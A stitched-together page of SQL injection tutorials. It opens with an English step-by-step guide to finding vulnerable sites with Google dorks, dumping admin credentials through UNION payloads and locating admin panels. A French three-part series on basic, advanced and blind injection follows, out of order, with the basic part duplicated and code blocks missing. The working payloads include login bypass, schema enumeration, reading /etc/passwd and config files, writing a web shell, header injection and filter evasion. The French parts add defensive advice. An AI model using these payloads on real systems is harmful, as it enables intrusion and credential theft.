Khaled Rihane

What is SQL Injection?
SQL injection is one of the popular web application hacking method.  Using the SQL Injection attack, an unauthorized person can access the database of the website. Attacker can extract the data from the Database.

What a hacker can do with SQL Injection attack?

* ByPassing Logins
* Accessing secret data
* Modifying contents of website
* Shutting down the My SQL server

So, here we go.

Step 1: Finding Vulnerable Website:
To find a SQL Injection vulnerable site, you can use Google search by searching for certain keywords. Those keyword often referred as 'Google dork'.

Some Examples:
inurl:index.php?id=
inurl:gallery.php?id=
inurl:article.php?id=
inurl:pageid=

Here is the huge list of Google Dork
http://www.ziddu.com/download/13161874/A...t.zip.html

Copy one of the above keyword and paste in the google. Here , we will got lot search result with
We have to visit the websites one by one for checking the vulnerability.




Note:if you like to hack particular website,then try this:
site:www.victimsite.com dork_list_commands
for eg:

site:www.victimsite.com inurl:index.php?id=

 Step 2: Checking the Vulnerability:
Now let us check the vulnerability of the target website. To check the vulnerability , add the single quotes(') at the end of the url and hit enter.

For eg:

http://www.victimsite.com/index.php?id=2'

If the page remains in same page or showing that page not found, then it is not vulnerable. 

If you got an error message just like this, then it means that the site is vulnerable

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1

Step 3: Finding Number of columns:
Great, we have found that the website is vulnerable to SQLi attack.  Our next step is to find the number of columns present in the target database.

For that replace the single quotes(') with "order by n" statement.

Change the n from 1,2,3,4,,5,6,...n. Until you get the error like "unknown column ".

For eg:

http://www.victimsite.com/index.php?id=2 order by 1
http://www.victimsite.com/index.php?id=2 order by 2
http://www.victimsite.com/index.php?id=2 order by 3
http://www.victimsite.com/index.php?id=2 order by 4

If you get the error while trying the "x"th number,then no of column is "x-1".

I mean:

http://www.victimsite.com/index.php?id=2 order by 1(noerror)
http://www.victimsite.com/index.php?id=2 order by 2(noerror)
http://www.victimsite.com/index.php?id=2 order by 3(noerror)
http://www.victimsite.com/index.php?id=2 order by 4(noerror)
http://www.victimsite.com/index.php?id=2 order by 5(noerror)
http://www.victimsite.com/index.php?id=2 order by 6(noerror)
http://www.victimsite.com/index.php?id=2 order by 7(noerror)
http://www.victimsite.com/index.php?id=2 order by 8(error)
 

 so now x=8 , The number of column is x-1 i.e, 7.

In case ,if the above method fails to work for you, then try to add the "--" at the end of the statement.
For eg:

http://www.victimsite.com/index.php?id=2 order by 1--

Step 4: Find the Vulnerable columns:
We have successfully discovered the number of columns present in the target database.  Let us find  the vulnerable column by trying the query "union select columns_sequence".

Change the id value to negative(i mean id=-2).  Replace the columns_sequence with the no from 1 to x-1(number of columns) separated with commas(,).

For eg:
if the number of columns is 7 ,then the query is as follow:

http://www.victimsite.com/index.php?id=-2 union select 1,2,3,4,5,6,7--

If the above method is not working then try this:

http://www.victimsite.com/index.php?id=-2 and 1=2 union select 1,2,3,4,5,6,7--

Once you execute the query, it will display the vulnerable column.



Bingo,  column '3' and '7' are found to be vulnerable.  Let us take the first vulnerable column '3' . We can inject our query in this column.

Step 5: Finding version,database,user
Replace the 3 from the query with "version()"

For eg:

http://www.victimsite.com/index.php?id=-2 and 1=2 union select 1,2,version(),4,5,6,7--

Now, It will display the version as 5.0.1 or 4.3. something like this.

Replace the version() with database() and user() for finding the database,user respectively.

For eg:

http://www.victimsite.com/index.php?id=-2 and 1=2 union select 1,2,database(),4,5,6,7--

http://www.victimsite.com/index.php?id=-2 and 1=2 union select 1,2,user(),4,5,6,7--

If the above is not working,then try this:

http://www.victimsite.com/index.php?id=-2 and 1=2 union select 1,2,unhex(hex(@@version)),4,5,6,7--

Step 6: Finding the Table Name
If the Database version is 5 or above. If the version is 4.x, then you have to guess the table names (blind sql injection attack).

Let us find the table name of the database. Replace the 3 with "group_concat(table_name) and add the "from information_schema.tables where table_schema=database()"

For eg:

http://www.victimsite.com/index.php?id=-2 and 1=2 union select 1,2,group_concat(table_name),4,5,6,7 from information_schema.tables where table_schema=database()--

Now it will display the list of table names. Find the table name which is related with the admin or user.




Let us choose the "admin " table.

Step 7: Finding the Column Name

Now replace the "group_concat(table_name) with the "group_concat(column_name)"

Replace the "from information_schema.tables where table_schema=database()--" with "FROM information_schema.columns WHERE table_name=mysqlchar--

We have to convert the table name to MySql CHAR() string .

Install the HackBar addon:
https://addons.mozilla.org/en-US/firefox/addon/3899/

Once you installed the add-on, you can see a toolbar that will look like the following one. If you are not able to see the Hackbar, then press F9.

Select sql->Mysql->MysqlChar() in the Hackbar.


It will ask you to enter string that you want to convert to MySQLCHAR().  We want to convert the table name to MySQLChar .  In our case the table name is 'admin'.



Now you can see the CHAR(numbers separated with commans) in the Hack toolbar.



Copy and paste the code at the end of the url instead of the "mysqlchar"

For eg:

http://www.victimsite.com/index.php?id=-2 and 1=2 union select 1,2,group_concat(column_name),4,5,6,7 from information_schema.columns where table_name=CHAR(97, 100, 109, 105, 110)--

The above query will display the list of column. 

For example: admin,password,admin_id,admin_name,admin_password,active,id,admin_name,admin_pas ​ s,admin_id,admin_name,admin_password,ID_admin,admin_username,username,password..etc..

Now replace the replace group_concat(column_name) with group_concat(columnname1,0x3a,anothercolumnname2).

Now replace the " from information_schema.columns where table_name=CHAR(97, 100, 109, 105, 110)" with the "from table_name"

For eg:

http://www.victimsite.com/index.php?id=-2 
and 1=2 union select 1,2,group_concat(admin_id,0x3a,admin_password),4,5,6,7 from admin--

If the above query displays the 'column is not found' erro, then try another column name from the list.

If we got luck, then it will display the data stored in the database depending on your column name.  For instance, username and password column will display the login credentials stored in the database.

Step 8: Finding the Admin Panel:
Just try with url like:

http://www.victimsite.com/admin.php
http://www.victimsite.com/admin/
http://www.victimsite.com/admin.html
http://www.victimsite.com:2082/

etc.
If you got luck ,you will find the admin page using above urls. or you can some kind of admin finder tools.

In this article, i just explained how to attack SQL injection vulnerable site in a n00b(newbie) way. If you want to become PenTester, you must know how these attacks works. In my next article, i will explain the SQL Injection depth.

Après les deux premiers tutoriaux au sujet des attaques de type SQL Injection, le billet d’aujourd’hui sera dédié à un vecteur d’attaque un peu particulier, si vous ne connaissez pas les principes d’une injection sql, je vous invite vivement à lire les deux premiers articles avant de passer à la suite ;)

Je rappelle que la série de ces tutoriaux est dans le but de donner une idée sur les différents aspects et vecteurs d’attaque d’une injection SQL, j’espère que ça vous aidera à mieux vous protéger et percevoir les risques en codant, n’hésitez pas à me faire part de vos remarques ;)

Qu’est ce que Blind SQL Injection?

Blind SQL Injection est un vecteur d’attaque dont l’approche est très différente de celle des injections classiques, elle permet comme ses ascendants d’injecter des données à partir d’une base d’une application vulnérable. Repérer une faille de ce type n’est pas toujours facile et demande une série de tests.

Les Injections blind se caractérisent par l’absence d’un message d’erreur qui permettra de repérer la faille, ce qui impose une serie de tests « à l’aveuglette » qui permettront d’identifier la présence d’une faille ou pas !

Prenant un exemple :

On considère une application web avec une page profile.php avec le code ci-dessous :

Ce code semble sécurisé contre les injections classiques puisqu’il remplace le mot clé « union » qui peut permettre à un attaquant de sélectionner une nouvelle ligne et détourner la requête, toute-fois un attaquant malveillant peut l’exploiter!

Analysant cette requête :

profile.php?user_id=1

Cet appel affichera le profile de l’utilisateur ayant l’id 1 (généralement l’administrateur du site)

Que se passera t’il avec :

profile.php?user_id=1 AND 1=2

Logiquement 1 != 2, si le script n’affiche pas le profil c’est que la condition rajoutée a été exécutée dans la requête, on peut vérifier ça on rajoutant une condition qui retourne toujours true (profile.php?user_id=1 AND 4=4), si avec cette appel le profil de l’utilisateur ayant user_id=1 s’affiche, c’est que le script est vulnérable à une injection de type « Blind SQL Injection », alors là! La bonne nouvelle c’est que l’attaquant ne voit aucune information affichée, la mauvaise c’est qu’il peut facilement bruteforcer l’information en rajoutant des condition dans l’url et suivant l’affichage ou le non-affichage du profile, il peut donc comprendre si la condition qu’il a mise est correcte par la suite extraire les information caractère par caractère

Exemple permettant de vérifier que la version de mysql est 5:

profile.php ?user_id=1 AND version() MATCH 5

 

Voyant ce qu’un attaquant malveillant peut faire pour exploiter cette faille :

profile.php?user_id=1 and length(password)=32

 

cet appel illuste un test sur la longueur du champ password, généralement les passes sont cryptés en md5, si c’est le cas le profil s’affiche et ça facilite à l’attaquant la poursuite de son exploitation ! Un md5 est une chaine de caractère en hexadécimal [09-af] donc 16 possibilités pour chaque caractères, du coup les possibilités ne sont pas énormes, 16 test au maximum peuvent permettre d’injecter un caractère du champ password, ce qui donne 512 requêtes en total pour extraire le hash md5 de l’utilisateur ayant user_id = 1

Exemple :

profile.php?user_id=1 AND substr(password,0,1)= 0×66

 

Pour tester si le premier caractère est un « f » (0×66 correspond au code hexadécimal de la lettre f) ainsi selon l’affichage (ou non) du profil utilisateur l’attaquant peut facilement injecter le reste, évidement sans aucun message d’erreur affiché sur son écran !

Pour résumer: Une Blind SQL Injection est toujours exploitée grâce à un bruteforce à l’aveuglette on se servant d’une page vulnérable qui affiche une donnés X, selon l’affichage ou non de cette dernière on peut deviner les données se cachant derrière.

Comment sécuriser son application ?

Les bonnes pratiques à adopter pour éviter de se faire pirater son site sont généralement les mêmes que j’ai cité dans les deux premier tutoriaux : de manière générale : Ne jamais se contenter de cacher les messages d’erreur, pensez toujours à filtrer les entrées, rajouter toujours les « signles quotes » aux variables que vous usez dans vos requêtes SQL et filtrer toujours avec la fonction mysql_real_escape_string

Me revoilà, comme promis avec la suite de cette série de tutoriaux, vous vous rappelez bien de l’épisode précèdent ? On avait parlé desinjections SQL classiques, on a vu comment un attaquant pourra by-passer une identification, également comment ce dernier peut repérer une injection grâce aux messages d’erreurs et injecter des données depuis la base de données!

Aujourd’hui on verra de plus prêt le danger réel que représente une injection SQL sur un site, l’objectif est que tout développeur web aie conscience du risque encouru que resprésente une Injection SQL, je donnerai des exemples de code vulnérables, ce que peut faire un attaquant pour les exploiter, et comme toujours des solutions pour mieux sécuriser son code ;)

Savez vous qu’avec une injection SQL un attaquant peut:

• Récupérer les noms des tables et des champs et injecter des données sensibles
• Injecter un paramètre dans une entête HTTP
• Lire/Écrire dans un fichier et potentiellement exécuter des commandes système sur la machine distante

MySQL et information_schema

Alors pour commencer, et comme j’avais dit dans l’article précèdent, on verra comment un attaquant pourra lister les noms des tables présentes dans votre base, ainsi que tous les champs!

En fait, information_schema est une base de données propre à mysql, elle existe depuis la version 5, et contient des informations sur tous les objets accessibles à l’utilisateur courant

Le problème c’est que dans mysql, information_schema est par default accessible à tous les utilisateurs! Du coup un attaquant peut lister les noms des tables et champs!

En reprenant l’exemple que j’avais donné dans le premier tutorial (Injecter des données depuis une table) , voici un bout de code qui permet de lister les noms des tables présentes sur une base!

Cette requête injectera le nom de la première table présente sur la base de données courante, à noter que database() est une fonction spécifique à mysql qui retourne le nom de la base de données en cours! Ainsi l’attaquant peut lister toutes les tables on rajoutant la clause LIMIT

profile.php?id=-1 UNION SELECT null,null,null,TABLE_NAME FROM information_schema.TABLES WHERE TABLE_SCHEMA = database(); LIMIT 1,1–
// ou encore
profile.php?id=-1 UNION SELECT null,null,null,TABLE_NAME FROM information_schema.TABLES WHERE TABLE_SCHEMA = database(); LIMIT 2.1–

Injection des noms de champs

Les noms des champs existe dans la table COLUMNS , un simple union peut permettre à un attaquant d’injecter ces derniers!
// afficher le premier champ

profile.php?id=-1 UNION SELECT null, null, null, COLUMN_NAME FROM COLUMNS WHERE TABLE_SCHEMA = database() AND TABLE_NAME=’users’ –
// afficher le troisième champ
profile.php?id=-1 UNION SELECT null, null, null, COLUMN_NAME FROM COLUMNS WHERE TABLE_SCHEMA = database() AND TABLE_NAME=’users’ LIMIT 2,1–

SQL Injection et les entêtes HTTP

L’une parmi les erreurs que certains programmeurs commettent lors du développement d’une application, est le fait de faire confiance aux variables d’environnement et aux entêtes HTTP! Il ne faut jamais se contenter de filtrer GET/POST/COOKIE car ce n’est pas suffisant

Voici un exemple pour démontrer le risque encouru:

On considère un script de rating, permettant aux utilisateurs de voter une seule fois pour chaque sondage! Pour mettre en place un tel système, le script récupère l’adresse IP de l’utilisateur en prenant en compte l’utilisation d’un proxy (X_FORWARDED_FOR) avec la fonction suivante:

Le traitement se passe au niveau d’une page vote.php qui récupère la note et vérifie si l’adresse ip ne figure pas dans les ips ayant déjà voté pour le même article, si tout va bien le vote est enregistré, sinon un message d’erreur est affiché: « Désolé [IP] mais vous avez déjà voté pour l’article [toto] »

Que se passe t’il si un attaquant envoie la requête HTTP suivante:

Scénario

La fonction get_real_ip() retrouvera l’entête $_SERVER['HTTP_X_FORWARDED_FOR'] et retournera comme valeur : ‘ union select 1,2–

La requête SQL deviendra :

SELECT ip,titre FROM votes WHERE id = ‘1′ AND ip = ‘ ‘ union select user(),1111–’

Le nombre de lignes retourné sera 1 > 0 donc le message suivant s’affichera :

Désolé root@localhost mais vous avez déjà voté pour l’article 1111

d’où root@localhost et 1111 correspondent respectivement à user() et 1111

Vous l’avez bien compris? Il est possible de polluer l’entête HTTP X_FORWARDED_FOR avec du code SQL (‘ union..) et résulter une injection, pensez donc toujours à échapper toute variable récupérée à partir d’une entête HTTP ($_SERVER, $_COOKIE) bref tout ce qui peut être manipulé par l’utilisateur!

MYSQL et la permission FILE

Lire un fichier avec load_file()

Lors de la création d’un utilisateur dans MYSQL, l’administrateur assigne des droits (SELECT, UPDATE, DROP ..) à l’utilisateur en question sur une table, parmi ces droits il existe la permission FILE, elle permet de lire un fichier à partir d’une requête SELECT

exemple :

SELECT load_file(‘/home/user/data_articles.txt’) INTO articles ;

Sur certains serveurs, la permission FILE est assignée par défaut aux utilisateurs, du coup la présence d’une injection sql peut permettre aux attaquants de lire n’importe quel fichiers accessible depuis mysql! et encore si les droits du daemon mysql sont mal configurés, un attaquant malveillant peut lire les données d’un autre utilisateur sur le même serveur!

profile.php?id=-1 UNION SELECT null, load_file(‘/home/victimuser/public_html/config.php’)–

Écriture dans un fichier (OUTFILE/DUMPFILE)

Si la permission FILE est assignée à l’utilisateur courant, un attaquant peut écrire des données dans le système de fichier, à condition que les droits d’écriture soient assignés au dossier/fichier en question

Dans mysql les fonctions OUTFILE et DUMPFILE permettent d’écrire dans un fichier, ainsi un attaquant peut s’en servir pour injecter du code PHP:

Exemples:

L’exécution de cette requête provoquera la création d’un script shell.php dans le dossier nommé « upload » et permettra à l’attaquant d’exécuter des commandes système sur le serveur avec les droits du daemon apache..

http://www.victime.ltd/uploads/shell.php?cmd=ls -l

Je vous laisse imaginer les conséquences que cela peut engendrer =)

SQL injection et urlencode()

J’ai remarqué sur certain script l’utilisation de la fonction urlencode() pour échapper les entrées utilisées dans une requête, en fête ce n’est pas suffisant et pas du tout fiable comme moyen de protection, voici un exemple :

Page : index.php?page=test

$sql = mysql_query(« SELECT title,content FROM pages WHERE page_name = ‘ ».urlencode($_GET['page']). » ‘ »);

Ce code peut bien échapper un signle quote d’où index.php?page=test’ génèrera la requête
SELECT title,content FROM pages WHERE page_name = ‘test%27′

Tout est normale jusque là! Le single quote ‘ est encodé en %27, mais que se passera t’il si on re-urlencode notre %27 en %2527 ? :)

Résultat: Ca va injecter un ‘ au nez de la requête, du coup l’appelle de la page :
index.php?page=test%2527 union select null, ‘Hello’– va produire la requête suivante :

SELECT title,content FROM pages WHERE page_name=’test’ union select null,’Hello’–’

Ne cherchez pas à vous compliquer la vie, mysql_real_escape_string() est votre amie =)

MySQL et magic_quote_gpc

magic_quote_gpc est une directive dans le fichier de configuration php.ini, elle permet
d’ajouter automatiquement un backslash (\) à toute variables gpc ($_GET, $_POST, $_COOKIE). Si
cette directive est activée, il n’est pas possible d’injecter un signle quote dans une requête à une
variable globale (GPC)! Parcontre ça reste toujours contournable dans certains cas! il n’y a pas que $_GET/$_POST/$_COOKIE en PHP =)

Voici des exemples d’un contournement possible permettant d’injecter une chaine en l’encodant en hexadécimale :

Profile.php?id=-1, load_file(0×2f6574632f706173737764)–

la chaine 0×2f6574632f706173737764 correspond à /etc/passwd, ainsi un attaquant peut encoder n’importe quelle chaine pour injecter par exemple les noms de tables et champs à partir de la base information_schema.. vous pouvez imaginer les possibilités..

L’activation de magic_quote_gpc peut vous éviter pas mal de problèmes, mais ca reste tout de même pas un moyen idéal pour se protéger! Il ne faut pas se contenter de l’activer et se dire que vous êtes à l’abri :)

les Filtres anti-sql injection

Un filtre sql injection est tout simplement un script qui permet de filtrer les entrée saisis par l’utilisateurs et detecter une éventuelle tentative d’attaque! il est important de prévoir toutes les possibilités sinon le filtre risque d’être contourné!

Voici un exemple d’un filtre qui detecte le mot clé UNION dans une requette:

Ce filtre parait bien, mais il est contournable car il ne vérifie pas la casse!

immaginons l’appelle de la page

profile.php?id=-1 UnIoN SeleCt nuLl, NUll, nulL, password FroM users–

un attaquant peut facilement contourner ce script on modifiant la casse de chaque mot protégé! c’est juste un exemple pour dire qu’avant de créer un filtre, il faut penser à toutes les possibilités ce qui est pénible, le mieux à mon avis est d’adopter les bonnes pratiques en codant proprement =) on peut pas toujours nous mettre dans la peau d’un pirate ;)

Comment se protéger contrer les injections SQL?

Voilà donc! J’ai essayé d’exposer différentes façons à travers lesquelles un attaquant malveillant peut vous atteindre en exploitant une injection SQL, le but c’est que chaque programmeur aie une vision claire de ce qu’un attaquant peut faire en passant par une injection!

Voici les bonnes pratiques à adopter pour éviter de se faire injecté sa base par un kiddie :

• Ne donnez jamais les droits aux utilisateurs sur la base de données information_schema, ça permetera de rendre l’exploitation d’une injection (si elle existe) plus difficile pour un attaquant!
• Si vous utilisez un CMS comme Joomla! Drupal, Magento.., pensez toujours à modifier les préfixes par default!
• Méfiez vous des entêtes HTTP, échappez toutes les entrées et validez-les avant de les utiliser dans une requête
• Ne jamais donner les droits FILE aux utilisateurs mysql
• Après l’installation d’un serveur dedié, pensez à modifier le mot de passe root de mysql, il est par default vide, sachant que le compte root possède tous les droits sur toutes les bases!
• N’utilisez jamais la fonction urlencode() pour échapper les quotes dans une requête, utilisez plutôt mysql_real_escape_string()
• Pensez toujours à lire les fichiers logs d’apache, repérez les URL suspect et vérifier si c’est susceptible d’être vulnerable :)

Aujourd’hui je vous parlerai d’un vecteur d’attaque très répondu sur internet, c’est SQL Injection, le sujet est très riche, j’ai donc décidé de le répartir en trois parties:

• Les injections SQL basiques
• SQL Injection avancée
• Blind SQL Injection

Dans ce billet, j’expliquerai le concept d’une Injection SQL basique, les différentes formes sous lesquelles elle peut se présenter dans une application WEB, illustrées par des exemples concrets, ainsi que des solutions pour sécuriser son code et prévoir ce genre d’attaques!

Comme vous le savez tous, SQL (Structured Query language), est un langage de bases de données qui constitue le cœur des applications WEB qui interagissent avec un SGBD, sachant que le concept d’une Injection SQL est commun pour tous les types de SGBD (avec quelques petites variations), dans toute la série de ces tutoriaux, je vais considérer qu’on travaille sur une base de données MySQL qui tourne sur un serveur LAMP!

Alors c’est parti =)

SQL Injection, c’est quoi ?

SQL Injection est parmi les vecteurs d’attaques les plus connus sur la toile!, son principe est de modifier une requête SQL grâce à un champ mal filtré dans le but d’exécuter une requête non prévue par l’application, l’exploitation d’une injection SQL peut avoir des conséquences désastreuses sur un site, elle peut permettre à un attaquant de :

• Bypasser une authentification
• Lire des données sensibles depuis les tables mySQL
• Injecter le nom et le schéma de la base de données
• Lire et écrire dans le système de fichier et potentiellement exécuter du code PHP

Comment repérer une injection SQL?

Une Injection SQL est souvent repérée par un attaquant grâce aux messages d’erreurs, le test est assez facile à faire, il suffit d’insérer un caractère spéciale (un signle quote « ‘ » le plus souvent), ou modifier le type d’une variable utilisée dans une requête SQL, si la variable est mal filtrée l’exécution de la requête est interrompue et il y a de fortes chances que cette dernière est faillible à une Injection

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near

Et oui! c’est ça, merci mysql_error =)

Et si on passe aux exemples?

Assez de blabla, là on passe aux exemples, et on commence par l’un des plus classiques :

Bypasser une identification:

Stanislas: un développeur en herbe a conçu un formulaire d’identification, qui permet de poster le nom d’utilisateur et le mot de passe dans une page PHP, cette dernière vérifie si c’est les bons et affiche un message selon le résultat:

Code :

Maintenant imaginons qu’un attaquant se connecte avec comme login : admin’–, la requête devient :

SELECT * FROM users WHERE username = ‘admin’–‘ AND password = ‘$password’

La requête SQL va aboutir, le single quote permettra de fermer le délimiteur de la chaine admin et les deux tirées servent à mettre le reste de la requête en commentaire, du coup la vérification du mot de passe sera ignorée ;) , Bienvenue admin dans votre espace membre!

C’est juste un exemple! l’attaque peut se présenter différemment selon la requête SQL :

Exemple 2:

Dans ce cas, pour bypasser l’identification il y a plusieurs possibilités, l’une est d’utiliser comme login: admin’)–
ou encore, comme login : admin’) or (‘a’='a, le principe est de toujours forcer la requête à retourner true :)

Injecter des données depuis une table

On dit souvent que l’union fait la force! c’est le cas pour les injections SQL car là on arrive aux choses sérieuses!

la commande UNION, elle existe depuis MySQL 4.0 et permet de combiner le résultat de plusieurs requêtes SELECT en une seule. Pour l’UNION, les champs des différents SELECT doivent avoir le même nombre et le même type!

Prenant l’exemple d’un petit forum, on considère une page profile.php qui affiche le profil d’un utilisateur donné à partir de son ID récupéré par $_GET

Code :

Sans connaitre le code qui s’exécute derrière un attaquant peut détecter la présence d’une injection sql en essayant d’interrompre la requête en accèdent à la page : profile.php?id=1′, le fameux message d’erreur s’affiche, l’attaquant passe à l’étape suivante, qui estl’identification de nombre des champs utilisés dans le SELECT

La technique la plus courante est l’utilisation de la clause « ORDER BY », en incrémentant l’indice petit à petit jusqu’à ce que la page affiche une erreur

• profile.php?id=1 order by 1 [OK]
• profile.php?id=2 order by 2 [OK]
• profile.php?id=3 order by 3 [OK]
• profile.php?id=4 order by 4 [OK]
• proile.php?id=5 order by 5 [ERREUR]

A ce stade là, l’attaquant peut savoir que la requête contient 4 champs dans le SELECT, et peut donc utiliser la clause UNION pour injecter des données!

profile.php?id=-1 UNION SELECT 1,2,3,4–

là on peut bien voir les chiffres s’afficher au lieu des données vu que l’id -1 n’existe pas dans la base, du coup les champs sélectionné dans l’UNOIN seront retourné (1,2,3,4), à la place de ces derniers l’attaquant peut sélectionner des données de n’importe quelle table sur laquelle l’utilisateur sql courant a les droits

Exemple :

profile.php?id=-2 UNION SELECT version(), user(), password, null FROM users
profile.php?id=-2 UNION SELECT host, user, password, database() FROM mysql.user

Il est facile pour un attaquant de deviner le nom des tables, d’ailleurs il existe des listes de tables sensibles susceptibles d’exister sur une base de données genre (login, users, auth, membres..), et depuis mysql 5 il est possible d’injecter les noms des tables à partir de la base information_schema! je reviendrai dans le billet de cette série (SQL Injection avancée) avec plus de détails sur cette partie là!

Il est également possible d’injecter des données depuis les autres bases sur-lesquelles l’utilisateur mysql courant a des droits!

Comment se protéger?

Maintenant que vous avez conscience du danger qu’une injection SQL classique pourrait engendrer lorsqu’elle est exploitée voici les bonnes pratiques pour sécuriser son application :

Pour notre cas par exemple : la solution est de filtrer l’input $_GET['id'] on conservant que la partie entière de sa valeur, pour ce faire :

et voilà le tour est joué :) , s’il s’agissait d’un nombre à virgule flottante on utilisera floatval()et ainsi de suite..

Pour les chaines de caractères, pensez toujours à utiliser mysql_real_escape_string, cette fonction permet de filtrer tous les caractères spéciaux et vous facilitera la vie! Et si vous avez le malheur de ne pas les utiliser dans vos requêtes, alors c’est bien le moment ;)

Donc voilà les classiques pour les injections SQL! Dans le prochain billet, on passera à la vitesse supérieur! J’exposerai des méthodes d’exploitation plus avancées, des erreurs à ne pas commettre ainsi que des solutions pour prévenir à ce genre d’attaques!

Aujourd’hui je vous parlerai d’un vecteur d’attaque très répondu sur internet, c’est SQL Injection, le sujet est très riche, j’ai donc décidé de le répartir en trois parties:

• Les injections SQL basiques
• SQL Injection avancée
• Blind SQL Injection

Dans ce billet, j’expliquerai le concept d’une Injection SQL basique, les différentes formes sous lesquelles elle peut se présenter dans une application WEB, illustrées par des exemples concrets, ainsi que des solutions pour sécuriser son code et prévoir ce genre d’attaques!

Comme vous le savez tous, SQL (Structured Query language), est un langage de bases de données qui constitue le cœur des applications WEB qui interagissent avec un SGBD, sachant que le concept d’une Injection SQL est commun pour tous les types de SGBD (avec quelques petites variations), dans toute la série de ces tutoriaux, je vais considérer qu’on travaille sur une base de données MySQL qui tourne sur un serveur LAMP!

Alors c’est parti =)

SQL Injection, c’est quoi ?

SQL Injection est parmi les vecteurs d’attaques les plus connus sur la toile!, son principe est de modifier une requête SQL grâce à un champ mal filtré dans le but d’exécuter une requête non prévue par l’application, l’exploitation d’une injection SQL peut avoir des conséquences désastreuses sur un site, elle peut permettre à un attaquant de :

• Bypasser une authentification
• Lire des données sensibles depuis les tables mySQL
• Injecter le nom et le schéma de la base de données
• Lire et écrire dans le système de fichier et potentiellement exécuter du code PHP

Comment repérer une injection SQL?

Une Injection SQL est souvent repérée par un attaquant grâce aux messages d’erreurs, le test est assez facile à faire, il suffit d’insérer un caractère spéciale (un signle quote « ‘ » le plus souvent), ou modifier le type d’une variable utilisée dans une requête SQL, si la variable est mal filtrée l’exécution de la requête est interrompue et il y a de fortes chances que cette dernière est faillible à une Injection

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near

Et oui! c’est ça, merci mysql_error =)

Et si on passe aux exemples?

Assez de blabla, là on passe aux exemples, et on commence par l’un des plus classiques :

Bypasser une identification:

Stanislas: un développeur en herbe a conçu un formulaire d’identification, qui permet de poster le nom d’utilisateur et le mot de passe dans une page PHP, cette dernière vérifie si c’est les bons et affiche un message selon le résultat:

Code :

Maintenant imaginons qu’un attaquant se connecte avec comme login : admin’–, la requête devient :

SELECT * FROM users WHERE username = ‘admin’–‘ AND password = ‘$password’

La requête SQL va aboutir, le single quote permettra de fermer le délimiteur de la chaine admin et les deux tirées servent à mettre le reste de la requête en commentaire, du coup la vérification du mot de passe sera ignorée ;) , Bienvenue admin dans votre espace membre!

C’est juste un exemple! l’attaque peut se présenter différemment selon la requête SQL :

Exemple 2:

Dans ce cas, pour bypasser l’identification il y a plusieurs possibilités, l’une est d’utiliser comme login: admin’)–
ou encore, comme login : admin’) or (‘a’='a, le principe est de toujours forcer la requête à retourner true :)

Injecter des données depuis une table

On dit souvent que l’union fait la force! c’est le cas pour les injections SQL car là on arrive aux choses sérieuses!

la commande UNION, elle existe depuis MySQL 4.0 et permet de combiner le résultat de plusieurs requêtes SELECT en une seule. Pour l’UNION, les champs des différents SELECT doivent avoir le même nombre et le même type!

Prenant l’exemple d’un petit forum, on considère une page profile.php qui affiche le profil d’un utilisateur donné à partir de son ID récupéré par $_GET

Code :

Sans connaitre le code qui s’exécute derrière un attaquant peut détecter la présence d’une injection sql en essayant d’interrompre la requête en accèdent à la page : profile.php?id=1′, le fameux message d’erreur s’affiche, l’attaquant passe à l’étape suivante, qui estl’identification de nombre des champs utilisés dans le SELECT

La technique la plus courante est l’utilisation de la clause « ORDER BY », en incrémentant l’indice petit à petit jusqu’à ce que la page affiche une erreur

• profile.php?id=1 order by 1 [OK]
• profile.php?id=2 order by 2 [OK]
• profile.php?id=3 order by 3 [OK]
• profile.php?id=4 order by 4 [OK]
• proile.php?id=5 order by 5 [ERREUR]

A ce stade là, l’attaquant peut savoir que la requête contient 4 champs dans le SELECT, et peut donc utiliser la clause UNION pour injecter des données!

profile.php?id=-1 UNION SELECT 1,2,3,4–

là on peut bien voir les chiffres s’afficher au lieu des données vu que l’id -1 n’existe pas dans la base, du coup les champs sélectionné dans l’UNOIN seront retourné (1,2,3,4), à la place de ces derniers l’attaquant peut sélectionner des données de n’importe quelle table sur laquelle l’utilisateur sql courant a les droits

Exemple :

profile.php?id=-2 UNION SELECT version(), user(), password, null FROM users
profile.php?id=-2 UNION SELECT host, user, password, database() FROM mysql.user

Il est facile pour un attaquant de deviner le nom des tables, d’ailleurs il existe des listes de tables sensibles susceptibles d’exister sur une base de données genre (login, users, auth, membres..), et depuis mysql 5 il est possible d’injecter les noms des tables à partir de la base information_schema! je reviendrai dans le billet de cette série (SQL Injection avancée) avec plus de détails sur cette partie là!

Il est également possible d’injecter des données depuis les autres bases sur-lesquelles l’utilisateur mysql courant a des droits!

Comment se protéger?

Maintenant que vous avez conscience du danger qu’une injection SQL classique pourrait engendrer lorsqu’elle est exploitée voici les bonnes pratiques pour sécuriser son application :

Pour notre cas par exemple : la solution est de filtrer l’input $_GET['id'] on conservant que la partie entière de sa valeur, pour ce faire :

et voilà le tour est joué :) , s’il s’agissait d’un nombre à virgule flottante on utilisera floatval()et ainsi de suite..

Pour les chaines de caractères, pensez toujours à utiliser mysql_real_escape_string, cette fonction permet de filtrer tous les caractères spéciaux et vous facilitera la vie! Et si vous avez le malheur de ne pas les utiliser dans vos requêtes, alors c’est bien le moment ;)

Donc voilà les classiques pour les injections SQL! Dans le prochain billet, on passera à la vitesse supérieur! J’exposerai des méthodes d’exploitation plus avancées, des erreurs à ne pas commettre ainsi que des solutions pour prévenir à ce genre d’attaques!